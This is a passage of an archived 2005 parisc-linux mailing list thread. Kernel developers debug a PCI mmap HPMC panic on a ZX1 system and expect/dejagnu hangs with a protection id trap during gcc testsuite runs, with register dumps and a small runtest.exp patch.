> CPU0 IOAQ 0x1010aadc $$remoI+350
> CPU0 GR02 0x1010d110 __udivdi3+198
> 
> CPU1 IOAQ 0x101011b0 flush_data_cache_local+8
> CPU1 GR02 0x10113b04 update_mmu_cache+94
> 
> 
> Looks like CPU1 died right away trying to flush an uncacheable region.
> No surprise that didn't work too well.
> 
> And no clue what's up with CPU0.

CPU0 was probably executing a different thread when it was halted by the
HPMC.

flushing an uncacheable area doesn't cause a HPMC, but flushing a non-
existent (and non-responding) area would ...

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.12-rc3-pa1 PCI mmap panic
Date: Mon, 2 May 2005 10:00:47 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <20050502160047.GA20612@colo.lackof.org>
References: <20050501074901.GA13801@colo.lackof.org>
	<1114975460.4788.27.camel@mulgrave>
	<20050502000833.GE17998@colo.lackof.org>
	<1114993898.4788.47.camel@mulgrave>
	<20050502041244.GA1601@colo.lackof.org>
	<1115045510.5006.7.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623776 14463 80.91.229.3 (22 Nov 2014 02:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 15:58:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 02 May 2005 17:58:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EA927D679;
	Mon,  2 May 2005 09:58:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28496-01; Mon, 2 May 2005 09:58:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEAF07D66C;
	Mon,  2 May 2005 09:58:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 044E07D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 09:58:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28056-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 May 2005 09:58:09 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 75E887D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 09:58:09 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 940F929803C;
	Mon,  2 May 2005 10:00:48 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25095-03; Mon, 2 May 2005 10:00:47 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4321A298010; Mon,  2 May 2005 10:00:47 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1115045510.5006.7.camel@mulgrave>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QCsEYvpBeSE57L6WZHQhaXN2IGRvb4CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22688

On Mon, May 02, 2005 at 09:51:50AM -0500, James Bottomley wrote:
> On Sun, 2005-05-01 at 22:12 -0600, Grant Grundler wrote:
> >         Memory at c0800000 (64-bit, non-prefetchable) [size=1M]
> >         Memory at c0000000 (64-bit, prefetchable) [size=8M]
> 
> Exactly ... that's the 3rd gigabyte; I assume there's no physical memory
> there, so the pfnnid_map is 0xff (except the bit where the io region
> check works).

ok

> However, there's a total screw up here: 0xc0000000 is outside of our
> premapped I/O region (0xf0000000-0xffffffff) so one of our assumptions
> about pa is broken; either the mercury doesn't obey the I/O window rules
> and we need to update the OS,

We need to update the OS.

> or the card has the wrong address.

The card has the right address for the Rope it's under.
THis is a ZX1 chipset. Similar to N-class, MMIO space is 2-4GB address.

> > CPU1 IOAQ 0x101011b0 flush_data_cache_local+8
> > CPU1 GR02 0x10113b04 update_mmu_cache+94
> > 
> > 
> > Looks like CPU1 died right away trying to flush an uncacheable region.
> > No surprise that didn't work too well.
> > 
> > And no clue what's up with CPU0.
> 
> CPU0 was probably executing a different thread when it was halted by the
> HPMC.

Maybe. The fact that it died early in the routine suggests otherwise.

> flushing an uncacheable area doesn't cause a HPMC,

This is the part I'm not sure about. John Marvin?

> but flushing a non-existent (and non-responding) area would ...

Yes, probably.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Mon, 2 May 2005 15:01:55 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200505021901.j42J1twk000106@hiauly1.hia.nrc.ca>
References: <42767353.4040100@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623776 14467 80.91.229.3 (22 Nov 2014 02:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:16 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 19:02:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 02 May 2005 21:02:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA86B7D671;
	Mon,  2 May 2005 13:02:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29548-02; Mon, 2 May 2005 13:02:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 469F07D672;
	Mon,  2 May 2005 13:02:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8B0E7D662
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 13:02:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29177-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 May 2005 13:02:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2CF1F7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 13:02:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j42J1uhF000107; Mon, 2 May 2005 15:01:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j42J1twk000106;
	Mon, 2 May 2005 15:01:55 -0400 (EDT)
In-Reply-To: <42767353.4040100@tiscali.be> from "Joel Soete" at May 2,
	2005 06:37:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YxwEYt9DeSE57L6WZHQhaXN2IGRvb8Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22689

> and the console showing me:
>        -------------------------------
>               \   ^__^
>                \  (xx)\_______
>                   (__)\       )\/\
>                    U  ||----w |
>                       ||     ||
> expect (pid 11251): Protection id trap (code 27)
> 
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001101111111100001111 Not tainted
> r00-03  0000000000000000 000000001046a030 00000000101b21ec 000000001fdafb00
> r04-07  00000000105c4ce0 0000000000000000 000000000002e4f8 0000000000000001
> r08-11  0000000000000000 000000000002e500 00000000000001fe 000000001fdafb00
> r12-15  fffffffffffffff2 0000000000000000 00000000000aa000 00000000000f2f08
> r16-19  0000000000000000 00000000000f2a88 0000000000000001 000000001f3ec000
> r20-23  0000000000000001 0000000000000000 000000000002e4fe 000000001fdafb1a
> r24-27  0000000000000000 0000000000000001 000000001b3dac80 00000000105c4ce0
> r28-31  0000000000000000 000000001f3ec3c0 000000001f3ec270 0000000000000000
> sr0-3   0000000000bc8800 0000000000000000 0000000000000000 0000000000bc8800
> sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101b22e4 00000000101b22e8
>   IIR: 0ed5d240    ISR: 0000000000bc8800  IOR: 000000000002e4fe
>   CPU:        0   CR30: 000000001f3ec000 CR31: 0000000010584000
>   ORIG_R28: 000000001010e400
>   IAOQ[0]: sys_poll+0x274/0x298
>   IAOQ[1]: sys_poll+0x278/0x298
>   RP(r2): sys_poll+0x17c/0x298
> 
>   # disasm 0ed5d240
>     0:   0e d5 d2 40     sth r21,0(sr3,r22)

Where did this address come from?  IAOQ[0] = 0x101b22e4.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Mon, 02 May 2005 18:37:07 +0000
Lines: 161
Approved: news@gmane.org
Message-ID: <42767353.4040100@tiscali.be>
References: <200503261548.j2QFm7eL005849@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623777 14470 80.91.229.3 (22 Nov 2014 02:36:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:17 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 18:37:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 02 May 2005 20:37:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8F9B7D662;
	Mon,  2 May 2005 12:37:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29177-06; Mon, 2 May 2005 12:37:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAF967D66F;
	Mon,  2 May 2005 12:37:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CC7C7D660
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 12:37:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29177-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 May 2005 12:37:17 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id AFF2E7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 12:37:16 -0600 (MDT)
Original-Received: from [83.134.229.53] (helo=[83.134.229.53])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DSfn2-0005Nb-T2; Mon, 02 May 2005 20:37:09 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.7) Gecko/20050420 Debian/1.7.7-2
X-Accept-Language: en
In-Reply-To: <200503261548.j2QFm7eL005849@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NhYEYpVGeSE57L6WZHQhaXN2IGRvbwCY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22690

Hello Dave,

John David Anglin wrote:
[snip]
>>Besides the recent gcc-snapshot build failure, I'm having problems
>>building the packages at all at the moment, there's no difference
>>using between sarge and unstable.
> 
I am trying now the new debian dpkg sources gcc-4.0

> 
> I've had this problem from time to time, particularly on server
> machines.  My c3k is solid and this doesn't happen.  For some reason,
> the libjava build is most prone to the segfaults in sh/bash and
> sometimes make.  Grant's recent builds on gsyprf11 seem to have
> changed the nature of the faults.  Now, the kernel panics instead
> of a segfault in sh.  Grant would know more as to what's causing
> these crashes.
>
I am using a sister system a b2k with a 2.6.12-rc2-pa1 64bit (more stable then the 32bit)
and an unstable debian install.

> 
>>- if the build succeeds, every test case in the testsuite fails, due
>>  to expect(?) problems. lamont told me that's reproducible on another
>>  A500, seeing some messages on the serial console, but I can't see
>>  these messages. I'm currently running the A500 kernels from the
>>  parisc archives. palinux-a500-defconfig-2.6.{8.1-pa11,11-pa2,12-rc1-pa1}
>>  all show the same behaviour.
>
but I unfortunately encounter also an expect pb (hanging):
# ps -ef
[snip]
root     11231 11228  9 17:08 pts/1    00:13:36 expect -- /usr/share/dejagnu/runtest.exp --tool gcc
root     11251 11231  0 17:08 pts/1    00:00:01 [expect] <defunct>
root     13466  1414  0 18:53 ?        00:00:00 sshd: jso [priv]
root     13478 13466  0 18:53 ?        00:00:00 sshd: jso [priv]
jso      13584 13466  0 18:53 ?        00:00:00 sshd: jso@pts/5
jso      13587 13584  0 18:53 pts/5    00:00:00 -bash
root     13695 13587  0 18:53 pts/5    00:00:00 -su
root     14056 11231  0 18:54 pts/1    00:00:00 [20020220-1.exe] <defunct>
root     14057 11231  0 18:54 pts/1    00:00:00 [cat] <defunct>
root     14226 10073  0 19:34 pts/1    00:00:00 sleep 30
root     14227 13695  0 19:34 pts/5    00:00:00 ps -ef

# pstree 11228
expect --- [20020220-1.exe]
          + [cat]
          + [expect]

and the console showing me:
       -------------------------------
              \   ^__^
               \  (xx)\_______
                  (__)\       )\/\
                   U  ||----w |
                      ||     ||
expect (pid 11251): Protection id trap (code 27)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Not tainted
r00-03  0000000000000000 000000001046a030 00000000101b21ec 000000001fdafb00
r04-07  00000000105c4ce0 0000000000000000 000000000002e4f8 0000000000000001
r08-11  0000000000000000 000000000002e500 00000000000001fe 000000001fdafb00
r12-15  fffffffffffffff2 0000000000000000 00000000000aa000 00000000000f2f08
r16-19  0000000000000000 00000000000f2a88 0000000000000001 000000001f3ec000
r20-23  0000000000000001 0000000000000000 000000000002e4fe 000000001fdafb1a
r24-27  0000000000000000 0000000000000001 000000001b3dac80 00000000105c4ce0
r28-31  0000000000000000 000000001f3ec3c0 000000001f3ec270 0000000000000000
sr0-3   0000000000bc8800 0000000000000000 0000000000000000 0000000000bc8800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101b22e4 00000000101b22e8
  IIR: 0ed5d240    ISR: 0000000000bc8800  IOR: 000000000002e4fe
  CPU:        0   CR30: 000000001f3ec000 CR31: 0000000010584000
  ORIG_R28: 000000001010e400
  IAOQ[0]: sys_poll+0x274/0x298
  IAOQ[1]: sys_poll+0x278/0x298
  RP(r2): sys_poll+0x17c/0x298

  # disasm 0ed5d240
    0:   0e d5 d2 40     sth r21,0(sr3,r22)

as r22 ended by E, the privilege of this address would be 2 (the last 2 bits?)

> 
> I think that there are issues with expect, tcl and dejagnu.
> 
> 1) Dejagnu asks expect to trap SEGFAULTS.  This is undefined and results
>    in the fault insn being executed repeatively.  It's a simple one line
>    fix to remove this:
> 
> --- runtest.exp.orig    2004-08-25 16:10:38.000000000 -0400
> +++ runtest.exp 2004-08-25 16:11:13.000000000 -0400
> @@ -1503,8 +1503,7 @@
>  if ![exp_debug] {
>       foreach sig "{SIGTERM {terminated}} \
> 		    {SIGINT  {interrupted by user}} \
> -             {SIGQUIT {interrupted by user}} \
> -             {SIGSEGV {segmentation violation}}" {
> +             {SIGQUIT {interrupted by user}}" {
> 	 set signal [lindex $sig 0]
> 	 set str [lindex $sig 1]
> 	 trap "send_error \"got a \[trap -name\] signal, $str \\n\"; log_and_exit;" $signal
> 
>    I've probably munged the diff doing a cut and paste.
> 
Even thought I applied this patch

> 2) There is some kind of timing issue with expect/tcl when a given
>    test ends.  This causes expect to hang.  When this happens, you
>    will see a defunct expect task.  It is a child of the expect task
>    that is hung.
> 
Exactely the one which try to access an address without having enough privilege (if i well understand?)

>    Tcl 8.3 works better than 8.4.  I know they have changed some of
>    the code in this area but I don't know why this happens.  I've also
>    had this happen on x86 but pa seems much more prone to this problem.
> 
>    Tcl 8.3 also works better for tests that generate a lot of output.
>    It is less likely to truncate the output resulting in a test failure.
>    I think this has to do with the handling of pipes at exit.
> 
Well I just rediscover this kind comments, so still have to test this and the rest

> 3) A warning appears compiling expect in a couple of places regarding
>    the second argument of waitpid.  It's always int.  However, expect
>    thinks the type of this argument is WAIT_STATUS_TYPE.  This gets
>    used when NO_UNION_WAIT isn't defined.  This problem can be worked
>    around be adding "-ansi -D_SVID_SOURCE -D_POSIX_SOURCE" to CFLAGS.
>    I had hoped that fixing this would resolve the expect hangs but it
>    doesn't seem to help.  However, I do like a build without warnings.
>    To get this with the above CFLAGS, a number of missing include
>    directives need to be added.
> 
>    I use the following setup:
> 
>    dave@hiauly6:~/gnu/expect-5.43/objdir$ runtest --version
>    WARNING: Couldn't find the global config file.
>    Expect version is       5.43.0
>    Tcl version is          8.3
>    Framework version is    1.4.4
> 
>    I haven't seen any significant difference in behavior between
>    5.42.1 and 5.43.0.  The former is the debian patched source.
> 
> 4) There is a exit timing issue in tcl 8.4.  I tried a patch from the
>    tcl list that claimed to fix this but it didn't seem to fix either
>    the hangs or the truncation problem.
> 
> 
Thanks a lot,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Mon, 2 May 2005 16:20:49 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200505022020.j42KKoGn000593@hiauly1.hia.nrc.ca>
References: <200505021901.j42J1twk000106@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623777 14472 80.91.229.3 (22 Nov 2014 02:36:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:17 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 20:44:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 02 May 2005 22:44:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 931BD7D672;
	Mon,  2 May 2005 14:21:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29985-01; Mon, 2 May 2005 14:21:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 774A97D679;
	Mon,  2 May 2005 14:21:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 782267D671
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 14:20:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29548-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 May 2005 14:20:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DF89F7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 14:20:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j42KKohF000594; Mon, 2 May 2005 16:20:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j42KKoGn000593;
	Mon, 2 May 2005 16:20:50 -0400 (EDT)
In-Reply-To: <200505021901.j42J1twk000106@hiauly1.hia.nrc.ca> from "John David
	Anglin" at May 2, 2005 03:01:55 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
